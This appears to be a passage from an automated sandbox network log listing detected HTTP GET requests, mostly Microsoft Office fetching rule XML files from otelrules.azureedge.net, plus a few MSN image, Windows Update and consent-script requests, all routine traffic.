Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GgWwYzxFGDrwGNu&MD=DyK82kx5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
